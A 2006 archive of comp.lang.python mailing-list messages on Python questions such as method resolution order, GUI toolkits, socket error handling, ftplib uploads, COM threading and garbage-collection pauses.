References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
Message-ID: <1160965310.124476.67550@e3g2000cwe.googlegroups.com>

neoedmund wrote:
> There's a program, it's result is "unexpected aaa", i want it to be
> "expected aaa". how to make it work?
>
> [code]
>
> class C1(object):
> 	def v(self, o):
> 		return "expected "+o
>
> class C2(object):
> 	def v(self, o):
> 		return "unexpected "+o
> 	def m(self):
> 		print self.v("aaa")
>
> class C3(object):
> 	def nothing(self):
> 		pass
>
> def test1():
> 	o = C3()
> 	setattr(o,"m",C2().m)
> 	setattr(o,"v",C1().v)
> 	o.m()
>
> test1()
>
> [/code]

class C3(C1, C2):pass

>>> C3.mro()  # shows method resolution order
[<class '__main__.C3'>, <class '__main__.C1'>, <class '__main__.C2'>,
<type 'object'>]

>>> o = C3()
>>> o.m()
expected aaa



From MonkeeSage at gmail.com  Sun Oct  1 20:26:43 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 1 Oct 2006 17:26:43 -0700
Subject: changing numbers to spellings
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<1159679133.367507.286320@i42g2000cwa.googlegroups.com>
	<7xwt7k5ypf.fsf@ruckus.brouhaha.com>
	<G53835247.684.1891.1@mx-extra>
	<mailman.1065.1159740750.10491.python-list@python.org>
Message-ID: <1159748803.592758.18090@i42g2000cwa.googlegroups.com>

Tim Williams wrote:
> my_nums = { 1 : 'One' , 2 : 'Two' ,  3 : 'Three' , 4 : 'Four' }  # etc etc
> print my_nums[x]

That's what I suggested, but since a list is already zero indexed I
used that rather than a dictionary. And Paul Rubin posted a very nice
solution that handles numbers larger than 9. I think the OP wants us to
write their GUI code for them or something...

Regards,
Jordan



From bignose+hates-spam at benfinney.id.au  Sun Oct 15 23:18:45 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 16 Oct 2006 13:18:45 +1000
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
Message-ID: <87lknh0wyy.fsf@benfinney.id.au>

[Please don't top-post above the text to which you're replying.]

"neoedmund" <neoedmund at gmail.com> writes:

> I'm trying to achieve a higher level of "reusability". Maybe it
> cannot be done in python? Can anybody help me?

What, specifically, are you trying to achieve? What problem needs
solving?

-- 
 \     "If you're a horse, and someone gets on you, and falls off, and |
  `\      then gets right back on you, I think you should buck him off |
_o__)                                     right away."  -- Jack Handey |
Ben Finney



From Eric_Dexter at msn.com  Tue Oct 24 19:38:28 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 24 Oct 2006 16:38:28 -0700
Subject: python GUIs comparison (want)
In-Reply-To: <mailman.1107.1161716343.11739.python-list@python.org>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<mailman.1107.1161716343.11739.python-list@python.org>
Message-ID: <1161733108.610956.220920@b28g2000cwb.googlegroups.com>

I have to say that py-gtk is a pain to install. You have copywrites
with the various parts of the library when you install all of it with
apple and the people that do the pill library.  I am looking at
wxwindows and maybe vpython for graphics (If it will do what I want).
wx.grid is a pain thus far but once you get it seems to work realy
well.  You load dabo and then load your program through dabo...  That
was all I needed to know to disregard it.

http://www.dexrow.com




Peter Decker wrote:
> On 10/24/06, Kevin Walzer <kw at kevin-walzer.com> wrote:
>
> > wxPython:
> > Pro: Popular, actively developed, wraps native widgets, looks great on
> > Windows, commercial-friendly license
> > Con: Based on C++ toolkit; docs assume knowledge of C++; some think
> > coding style is too much like C++; complex to build and deploy on Linux
> >  (wraps Gtk)
>
> I agree with this assessment. I hated writing the code in wxPython,
> since it was very ugly, with tons of getters/setters lots of constants
> and ids WRITTEN_IN_ALL_CAPS. Yuck.
>
> That's why I think you and others are doing a grave disservice by
> ignoring Dabo. With Dabo, you get the best-looking toolkit across
> platforms (wxPython), but a clean, Pythonic API with none of the C++
> crud. I've been a dozen times more productive since I switched to
> doing my UI code in dabo.ui, and even better, I don't have to
> constantly look up the names of the appropriate constants, etc. - the
> API is that much more consistent.
> 
> -- 
> 
> # p.d.



From martin at v.loewis.de  Wed Oct  4 15:47:33 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 21:47:33 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg0bo2$obu$1@nnrp.ngi.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it>
Message-ID: <45240FD5.3050705@v.loewis.de>

Giovanni Bajo schrieb:
> In fact, are you absolutely positive that you need so much effort to
> maintain an existing bugtracker installation? I know for sure that GCC's
> Bugzilla installation is pretty much on its own; Daniel Berlin does some
> maintainance every once in a while (upgrading when new versions are out,
> applying or writing some patches for most requested features in the
> community, or sutff like that), but it's surely not his job, not even
> part-time.

Daniel Berlin has put a tremendous amount of work into it. I know,
because I set up the first bug tracker for gcc (using GNATS), and
have been followed the several years of pondering fairly closely.
It was quite some work to set up GNATS, and it was even more work
to setup bugzilla.

For Python, we don't have any person similar to Daniel Berlin
(actually, we have several who *could* have done similar work,
 but none that ever volunteered to do it). Don't underestimate
the work of somebody else.

I know that I'm currently putting more time into maintaining the
Subversion installation than I'd like to, despite this being a really
small amount of work per month, and despite others also having been
introduced to the infrastructure necessary for administration.
When I go on vacation, people effectively have to wait until
I return before they can get their write access enabled. I
sometimes defer dealing with admin requests for a few days, and
people start complaining.

Regards,
Martin


From martin at v.loewis.de  Tue Oct 24 01:29:50 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 07:29:50 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453d508b$0$334$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<453D472E.2080606@v.loewis.de>
	<453d508b$0$334$e4fe514c@news.xs4all.nl>
Message-ID: <453DA4CE.6020806@v.loewis.de>

Irmen de Jong schrieb:
> Although I'm not yet convinced about the all-or-nothing failure
> model you were talking about. How can I know if recv() fails
> with a MemoryError (or socket error) that it actually didn't
> receive anything? Is that even an assumption I can rely on?

Yes, you can. It can't produce a MemoryError (AFAICT, there is
no code path which possibly could (*)). If there is a socket
error, then the operating system guarantees that no data
were written into the buffer, and that subsequent calls
will yield any data that might have been available.

(*) It can, of course, produce a MemoryError if the result buffer
can't be allocated. If that happens, no recv(2) call has been
made, so the MemoryError indicates that nothing has happened -
you need to provide the result buffer before calling recv; that's
why you need to provide the size of the message you want to
receive.

> If it isn't, splitting up the recv() internally (into smaller
> blocks) wouldn't be any different, right?

Right. However, directly calling operating system calls and directly
exposing their results allows for such all-or-nothing error model,
as the operating system API itself is designed with the goal of
atomicity for each operation (or, if there are partial results,
has a way of reporting them, e.g. for partial writes).

> Nope, I was indeed thinking about splitting up the recv() into
> smaller blocks internally.

Look at shutil.copytree for an example of what this leads to.
This routine originally traversed the input tree, copied all
files it could, and skipped over those it couldn't. It ignored
the basic principle "errors should never pass silently".

I then tried fixing it, and the result is really ugly: It
keeps a list of all exceptions that occurred, and then
raises a single exception that contains them all. The
caller is supposed to know this, and perhaps print out
multiple error messages.

shutil.rmtree takes a different approach, which could be
considered just as ugly: it provides an onerror call-back
function which is invoked whenever some remove operation
fails.

I also think there is some API that returns the partial
result inside the exception if there is an exception.
The caller has to know this, and look at any data that
are already in the exception. Of course, changing an
existing API to switch to such a convention should
be considered as an incompatible change.

> Maybe a more elaborate check in Python's build system (to remove
> the MSG_WAITALL on VMS) would qualify as some sort of work-around
> as well.

Before that is done, somebody should confirm that MSG_WAITALL
is really not behaving correctly on VMS. Then, the check doesn't
have to be all that elaborate: a simple #ifdef would do.

Regards,
Martin


From apardon at forel.vub.ac.be  Fri Oct 27 07:33:44 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 11:33:44 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
Message-ID: <slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>

On 2006-10-27, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Antoon Pardon wrote:
>
>>> since you never publish any code,
>>
>> This is not True. You shouldn't confuse your lack of recollection
>> with reality.
>
> pointers, please.

Sorry, the answer is no. I don't care whether you can locate my code
or not or wish to believe me or not.

-- 
Antoon Pardon


From fulvio at tm.net.my  Wed Oct 11 09:08:02 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 11 Oct 2006 21:08:02 +0800
Subject: [Newbie] error handling
Message-ID: <200610112108.02741.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello there,

Simple question : how do I manage errors by the use "try/except" clause.
Example:
If I'd like to catch error coming from a function call that's using IMAP4 
class, which error may raise such class?
In other words I've doubts about which error object I should put after 
the "except" statement in order to trap the wanted error.

Is there, somehow, the way to list the errors from a class or function, prior 
digging into the source?

F



From bkhl at stp.lingfil.uu.se  Mon Oct  2 13:42:19 2006
From: bkhl at stp.lingfil.uu.se (=?utf-8?Q?Bj=C3=B6rn_Lindstr=C3=B6m?=)
Date: Mon, 02 Oct 2006 19:42:19 +0200
Subject: How to coerce a list of vars into a new type?
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
	<1159803031.530669.105050@k70g2000cwa.googlegroups.com>
	<mailman.1113.1159809093.10491.python-list@python.org>
	<1159809439.409720.105860@m73g2000cwd.googlegroups.com>
Message-ID: <87zmceiphg.fsf@killalla.dreaming>

bearophilehugs at lycos.com:

> def f(a, b, c):
>     map(int, [a, b, c])
>     ...code...
>
> What it does is to: "verify that three parameters can all be converted
> into integers, but it doesn't modify the parameters themselves" as the
> OP asked.

I would probably put that map in an assert statement, to make the
intention clearer.

-- 
Bj?rn Lindstr?m <bkhl at stp.lingfil.uu.se>
Student of computational linguistics, Uppsala University, Sweden


From mahs at telcopartners.com  Wed Oct 25 17:31:54 2006
From: mahs at telcopartners.com (Michael Spencer)
Date: Wed, 25 Oct 2006 14:31:54 -0700
Subject: How to identify generator/iterator objects?
In-Reply-To: <453FBCCE.8090306@sbcglobal.net>
References: <453FBCCE.8090306@sbcglobal.net>
Message-ID: <ehol3j$d8h$2@sea.gmane.org>

Kenneth McDonald wrote:
> I'm trying to write a 'flatten' generator which, when give a 
> generator/iterator that can yield iterators, generators, and other data 
> types, will 'flatten' everything so that it in turns yields stuff by 
> simply yielding the instances of other types, and recursively yields the 
> stuff yielded by the gen/iter objects.
> 
> To do this, I need to determine (as fair as I can see), what are 
> generator and iterator objects. Unfortunately:
> 
>  >>> iter("abc")
> <iterator object at 0x61d90>
>  >>> def f(x):         
> ...     for s in x: yield s
> ...
>  >>> f
> <function f at 0x58230>
>  >>> f.__class__
> <type 'function'>
> 
> So while I can identify iterators, I can't identify generators by class.
> 
> Is there a way to do this? Or perhaps another (better) way to achieve 
> this flattening effect? itertools doesn't seem to have anything that 
> will do it.
> 
> Thanks,
> Ken
I *think* the only way to tell if a function is a generator without calling it 
is to inspect the compilation flags of its code object:

  >>> from compiler.consts import CO_GENERATOR
  >>> def is_generator(f):
  ...     return f.func_code.co_flags & CO_GENERATOR != 0
  ...
  >>> def f1(): yield 1
  ...
  >>> def f2(): return 1
  ...
  >>> is_generator(f1)
  True
  >>> is_generator(f2)
  False
  >>>

Michael



From bignose+hates-spam at benfinney.id.au  Sat Oct 14 19:52:14 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 15 Oct 2006 09:52:14 +1000
Subject: IDE that uses an external editor?
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
Message-ID: <87fydq3175.fsf@benfinney.id.au>

Slawomir Nowaczyk <slawomir.nowaczyk.847 at student.lu.se> writes:

> Well, I haven't yet seen a definition of "Integrated Development
> Environment" which would exclude Emacs...

+1 QOTW

Amen to that.

-- 
 \       "Never use a long word when there's a commensurate diminutive |
  `\                                 available."  -- Stan Kelly-Bootle |
_o__)                                                                  |
Ben Finney



From daniel.huangfei at gmail.com  Fri Oct 20 01:30:02 2006
From: daniel.huangfei at gmail.com (daniel)
Date: 19 Oct 2006 22:30:02 -0700
Subject: is it possible to send raw data through ftp?
In-Reply-To: <mailman.804.1161321040.11739.python-list@python.org>
References: <1161318367.007363.191360@b28g2000cwb.googlegroups.com>
	<mailman.804.1161321040.11739.python-list@python.org>
Message-ID: <1161322202.110342.263470@m73g2000cwd.googlegroups.com>



On Oct 20, 1:10 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> daniel wrote:
> > well, I'm trying to use ftplib to upload data that received from
> > socket, and the application is required to  restart the transfer at a
> > specific interval so as to generate a different target file on the
> > server to store subsequent data.
> > the problem is 'storbinary' accepts only file-like object"storbinary" works with anything that has a "read" method that takes a
> buffer size, so you can wrap the source stream in something like:
>
> ##
> # File wrapper that reads no more than 'bytes' data from a stream. Sets
> # the 'eof' attribute to true if the stream ends.
>
> class FileWrapper:
>      def __init__(self, fp, bytes):
>         self.fp = fp
>         self.bytes = bytes
>          self.eof = False
>      def read(self, bufsize):
>         if self.bytes <= 0:
>             return ""
>         data = self.fp.read(min(bufsize, self.bytes))
>          if not data:
>              self.eof = True
>         self.bytes -= len(data)
>         return data
>
> source = open(...)
>
> while 1:
>      cmd = "STOR " + generate_file_name()
>      f = FileWrapper(source, 1000000)
>      ftp.storbinary(cmd, f)
>      if f.eof:
>          break
>
> </F>
I'm trying to understand your code, thank you so much for the help.

daniel



From tejovathi.p at gmail.com  Tue Oct 17 05:43:33 2006
From: tejovathi.p at gmail.com (Teja)
Date: 17 Oct 2006 02:43:33 -0700
Subject: COM Error -- Urgent help
In-Reply-To: <4pjl6qFj58saU1@uni-berlin.de>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
	<mailman.619.1161071484.11739.python-list@python.org>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
	<Ut0Zg.8114$Lv3.7352@newsread1.news.pas.earthlink.net>
	<1161076029.101436.3850@e3g2000cwe.googlegroups.com>
	<4pjl6qFj58saU1@uni-berlin.de>
Message-ID: <1161078213.486982.99970@i3g2000cwc.googlegroups.com>


Diez B. Roggisch wrote:
> Teja wrote:
>
> >
> > Dennis Lee Bieber wrote:
> >> On 17 Oct 2006 00:58:59 -0700, "Teja" <tejovathi.p at gmail.com> declaimed
> >> the following in comp.lang.python:
> >>
> >> >        thread.start_new_thread(self.nav, (s,'www.google.com')
> >> >
> >> > I am getting an attribute error
> >>
> >> That can not be the REAL code... I'd expect a syntax error... You
> >> have mismatched parens on that line!
> >> --
> >> Wulfraed     Dennis Lee Bieber               KD6MOG
> >> wlfraed at ix.netcom.com                wulfraed at bestiaria.com
> >> HTTP://wlfraed.home.netcom.com/
> >> (Bestiaria Support Staff:            web-asst at bestiaria.com)
> >> HTTP://www.bestiaria.com/
> >
> > Hi,
> >
> > Ya its a copy paste error... But can u please let me know what is the
> > reason for attribute error and how to rectify it??
>
> How many times need you a beating with a clue-stick?
>
> Post the _actual_ code, not something that closely resembles it - in _your_
> opinion....
>
> Post the error message!!!!
>
> And before you do all this, read:
>
> http://www.catb.org/~esr/faqs/smart-questions.html
>
> Diez


OK Ok .. Here is the final code thats giving an error:

GenericFunctions.py
----------------------------------

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:
    def __init__(self):
        print "In Constructor of Generic Functions"
    def MyNavigate(self,dest):
        ie.Navigate(dest)
---------------------------------------------------------------------------------------------------------------
MainThread.py
--------------------------

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()
import sys,traceback


def threadFunction(s,dest):
    pythoncom.CoInitialize()
    try:
        d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
        my_ie=win32com.client.Dispatch(d)
        #d.MyNavigate(dest)
        obj.MyNavigate(dest)          # this is gving an error.
    except:
        my_ie = None
        print traceback.print_exc(file= sys.stdout)
    pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)

    thread.start_new_thread(threadFunction, (s,'www.google.com'))


-----------------------------------------------------------------------------------------------------------------------------
And here is the error:

Traceback (most recent call last):
  File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13
Oct\MainThread.py", line 13, in threadFunction
    obj.MyNavigate(dest)          # this is gving an error.
  File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13
Oct\GenericFunctions.py", line 9, in MyNavigate
    ie.Navigate(dest)
  File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line
489, in __getattr__
    raise AttributeError, "%s.%s" % (self._username_, attr)
AttributeError: internetexplorer.application.Navigate
None


This is highly urgent and important... Please help me out....

Thnks & Regards,
Tejovathi.P



From gagsl-py at yahoo.com.ar  Wed Oct 18 22:25:51 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 23:25:51 -0300
Subject: Cannot import a module from a variable
In-Reply-To: <eh6llc$gsg$1@enyo.uwa.edu.au>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
	<eh6llc$gsg$1@enyo.uwa.edu.au>
Message-ID: <7.0.1.0.0.20061018231248.04264008@yahoo.com.ar>

At Wednesday 18/10/2006 22:51, Cameron Walsh wrote:

>     previous_directory = os.getcwd()
>     try:
>         os.chdir(directory)
>         [ ... ]
>         return modules
>     finally:
>         os.chdir(previous_directory)
>
>Woah, that actually works?  Having the "finally" after the "return"?
>That could make some things easier, and some things harder...

Note that moving the return statement after the finally does 
*exactly* the same thing, generates shorter code, and is a lot more 
readable (IMHO).


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From buzzi.paolo at gmail.com  Mon Oct  2 11:43:29 2006
From: buzzi.paolo at gmail.com (Paolo)
Date: 2 Oct 2006 08:43:29 -0700
Subject: postgresql database
Message-ID: <1159803809.124967.262290@b28g2000cwb.googlegroups.com>

Ciao a tutti, sto cercando di implementare un applicazione che si
interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente
windows (python versione 2.5). Ho installato Psycopg2 e provando
solamente fare: import psycopg mi ritorna il seguente errore:

    import psycopg
ImportError: No module named psycopg

come mai? va settata qualche path oltre a quella di postgresql ?

grazie dell'aiuto



From hanumizzle at gmail.com  Fri Oct  6 05:11:42 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 05:11:42 -0400
Subject: help on pickle tool
In-Reply-To: <eg55tg$o3k$1@sea.gmane.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<4525F78D.5010200@pythonware.com> <eg55tg$o3k$1@sea.gmane.org>
Message-ID: <463ff4860610060211s65c41d5agcec9f8f820b85d93@mail.gmail.com>

On 10/6/06, Steve Holden <steve at holdenweb.com> wrote:

> I have to agree that YAML, having started out with simplicity in mind,
> has become a monster that threatens to collapse under its own weight.
> The very existence of JSON is a good indicator that YAML has failed to
> meet its design goals for a significant proportion of application
> developers.

I am looking at JSON, but YAML does work fine for my purposes w/ no
discernable disadvantages. Of course I didn't implement the library,
so I can't really speak with any kind of expertise on this matter. I'm
just saying that, at least at the front end, it's pretty simple to
use. (JMO)

-- Theerasak


From steve at holdenweb.com  Sun Oct  1 09:38:30 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 14:38:30 +0100
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>
References: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>
Message-ID: <efogb5$g5d$1@sea.gmane.org>

charlie strauss wrote:
> Below is a simple program that will cause python to intermittently  
> stop executing for a few seconds.  it's 100% reproducible on my machine.
> 
> I'd be tempted to say this is a nasty garbage collection performance  
> issue except that there is no major memory to be garbage collected in  
> this script.  I'd be tempted to say it was a unix virtual memory  
> issue except this is occuring at around 1/5th of my physical memory  
> size.  So something else unexplained is going on
> 
> Class Foo instances create and hold a list  of size nfoo of integers.  
> (nfoo =10)
> 
> Class Bar instances create and hold a list of size nbar of Foo  
> objects. (nbar =100)
> 
> When the code runs it starts creating and storing Bar objects in a  
> list while watching for real-time glitches in how long it takes to  
> create the next Foo object.  If this is longer than 1/2 of a second  
> then it reports it.
> 
> On my computer  after creating 1500 Bar objects,  the rate of  
> creation of new Foo  suddenly has a  periodic glitch.  This glitch re- 
> occurs about every 300 Bar Objects, and the duration of the glitch  
> keeps getting longer--growing to many seconds!!!!
> 
> Platform: 800Mhz powermac g 4  1Gb of memory
> python:  python 2.4.2
> 
> Note: since I an using absolute time threshold for reporting the  
> glitches, the first one may take more iterations before it occurs on  
> a fast computer.  You may need to increase nbar or nfoo.
> 
> import sys
> from time import time
> 
> 
> class Foo(object):
>      def __init__(me,nfoo):
>          me.memory = [1]*nfoo
> 
> class Bar(object):
>      def __init__(me,nbar,nfoo):
>          tgx.set_tag("Bar")  # timer
> 
>          b = [None]*nbar
>          for i in xrange(nbar):
>              b[i]=Foo(nfoo)  # make a foo, add it to list
>              tgx.jump("Bar"+`i`)  #timer
> 
>          me.b = b  #store the list in my instance memory
> 
> 
> 
> 
> # just a utility class to time things.
> class gtime:
>      def __init__(me,f=sys.stderr):
>          me.last = time()
>          me.f=f
>          me.tag = ""
>          me.ticks = 0
> 
>      def set_tag(me,tag):
>          me.tag = tag
>          me.ticks = 0
> 
>      def reset(me):
>          me.ticks = 0
> 
>      def jump(me,tag="NONE",allowed_gap=0.5):
>          me.t = time()
>          me.ticks +=1
>          if me.t-me.last>allowed_gap:
>              print >>me.f,"Big Gap:",me.t-me.last,"seconds    
> ",me.tag,tag,me.ticks
>          me.last = time()
> 
> tgx = gtime() # instance of the timer
> 
> 
> # main loop
> nbar = 100
> nfoo = 10
> 
> ad_nauseum = 20000
> final = [None]*ad_nauseum
> 
> for i in xrange(ad_nauseum ):
>      if i%100 == 0 :print >>sys.stderr,"Bars Made: ",i
>      final[i] = Bar(nbar,nfoo)
> 
I'm not the Timbot, but the behaviour of the program seems reasonably 
comprehensible to me. You create a list of 20,000 elements and proceed 
to populate it with Bar objects, each of which contains a 
thousand-element list pointing to a ten-element list.

So despite the fact that all list elements are (references to) the 
integer 1, there are a lot of references, which take up a lot of memory. 
Each time you report on the number of Bars you've created 100,000 
references to 1.

So it's hardly surprising that at some point the garbage collector cuts 
in and starts looking for free memory, which takes a certain amount of time.

It's also unsurprising that the garbage collector takes longer the more 
stuff you have in memory, because it has to sweep all those structures 
to make sure that there aren't any collectible cycles.

As I run the program I see virtual memory usage climbing steadily - 
hardly surprising given the nature of the program. At some point the 
working set of the program is going to exceed the amount of physical 
memory that the operating system can allocate it.

At that point paging will start to occur, and garbage collection (which 
has to access more or less all of memory) is now triggering disk 
activity, making it slower by a significant margin. This didn't happen 
on my machine with your initial settings as I have plenty of memory, but 
when I increased the foo size to 100, by the time I'd allocated 13,000 
bars I was seeing big big gaps and little big gaps, the big ones 
apparently being required by the need to page something else out to 
allocate additional space for the task:

Bars Made:  12900
Big Gap: 3.78899979591 seconds Bar Bar95 96
Bars Made:  13000
Big Gap: 0.500999927521 seconds Bar Bar89 90
Bars Made:  13100
Bars Made:  13200
Big Gap: 3.72300004959 seconds Bar Bar65 66
Bars Made:  13300
Big Gap: 0.500999927521 seconds Bar Bar72 73
Bars Made:  13400
Bars Made:  13500
Big Gap: 3.83699989319 seconds Bar Bar35 36
Bars Made:  13600
Bars Made:  13700
Big Gap: 0.500999927521 seconds Bar Bar65 66
Bars Made:  13800
Big Gap: 3.90399980545 seconds Bar Bar4 5
Bars Made:  13900
Bars Made:  14000
Bars Made:  14100
Big Gap: 3.95200014114 seconds Bar Bar75 76
Bars Made:  14200
Big Gap: 0.500999927521 seconds Bar Bar38 39
Bars Made:  14300

I trust readers will excuse me for attaching a small PNG graphic that 
clearly shows this behaviour: CPU utilisation climbs to around 100%, but 
then starts dropping intermittently - this *has* to be paging activity. 
When CPU activity dives just after 300 seconds that's when I hit CTRL/C. 
The subsequent 800 seconds was spent unwinding the memory so it could be 
deallocated!

Bars Made:  14400
Big Gap: 0.799000024796 seconds Bar Bar0 1
Traceback (most recent call last):
   File "test40.py", line 57, in <module>
     final[i] = Bar(nbar,nfoo)
   File "test40.py", line 15, in __init__
     b[i]=Foo(nfoo)  # make a foo, add it to list
   File "test40.py", line 6, in __init__
     def __init__(me,nfoo):
KeyboardInterrupt

[LOOOOOOOOONG PAUSE ...}
sholden at bigboy ~/Projects/Python
$

I might add that it took a long time for Windows performance to recover, 
since any task that I subsequently touched had to be brought back in 
from suspension in the paging file.

This is one of those cases where it would be faster to avoid using 
garbage collection at all, since no cyclic structures appear to be 
created. But there's an indication of just how much memory you are using 
in the length of time the program takes between reporting a 
KeyboardInterrupt and returning to the command line prompt: this is 
precisely the length of time it take to deallocate all those lists and 
return them to the free memory pool.

So basically what you have here is a pathological example of why it's 
sometimes wise to disable garbage collection. Tim, did I miss anything?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden
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From pavlovevidence at gmail.com  Sun Oct 15 19:04:49 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 15 Oct 2006 16:04:49 -0700
Subject: classroom constraint satisfaction problem
References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com>
Message-ID: <1160953489.010661.115340@e3g2000cwe.googlegroups.com>

Steven Bethard wrote:
> I'm trying to solve a constraint-satisfaction problem, and I'm having
> some troubles framing my problem in such a way that it can be
> efficiently solved.
>
> Basically, I want to build groups of two teachers and four students such
> that [1]:
>
> * Students are assigned to exactly one group
> * Teachers are assigned to approximately the same number of groups
> * Students are not in groups with their homeroom teachers
> * Students in each group are from four different homerooms
>
> So given teachers A, B, C, D, E and F and their corresponding students
> A1, A2, ... F3, F4, here's a good grouping:
>
> A, B:   C1, D1, E1, F1
> B, C:   A1, D2, E2, F2
> C, D:   A2, B1, E3, F3
> D, E:   A3, B2, C2, F4
> E, F:   A4, B3, C3, D3
> F, A:   B4, C4, D4, E4

[snip]

> [1] There are actually two other constraints that I omitted:
>
> * Some teachers cannot be placed in the same group, e.g. I might know
> that A cannot work with B or that E cannot work with F.
>
> * If you create a graph out of the teacher pairs from all the groups,
> the graph should not be disconnected.  That is, the following grouping
> is bad because the teachers are disconnected:

I would do it in two steps.

Step 1: Generate a graph of all teachers, such that there is one
connection for every four students, and each teacher has approximately
equal number of connections.  A simple, approximate way to do this
would be to generate random subsets of two teachers until you have
enough connections (though that won't work well if you have a lot of
teachers that can't work together, which wouldn't be surprising).  I'm
sure graph theory has some algorithms to do this if you need more
exactitude.

Step 2: Assign students from appropriate homerooms to each connection.
The following simple algorithm is probably satisfactory: for each
connection between teachers, choose a random subset of four homerooms
not governed by those teachers to form a group.  Assign a random
student from each homeroom.  Once every student from a homeroom has
been been assigned, remove that homeroom from the set of available
homerooms.  With this method, you might have some connections at the
end without enough remaining homerooms; just go fishing for a suitable
switch among students already assigned.  Or, work out a way to make
sure you don't exhaust too many homerooms.  Perhaps there is a known
algorithm for doing this.

Carl Banks



From paul at boddie.org.uk  Tue Oct 24 06:02:53 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 24 Oct 2006 03:02:53 -0700
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<ehkaet$rfq$1@enyo.uwa.edu.au>
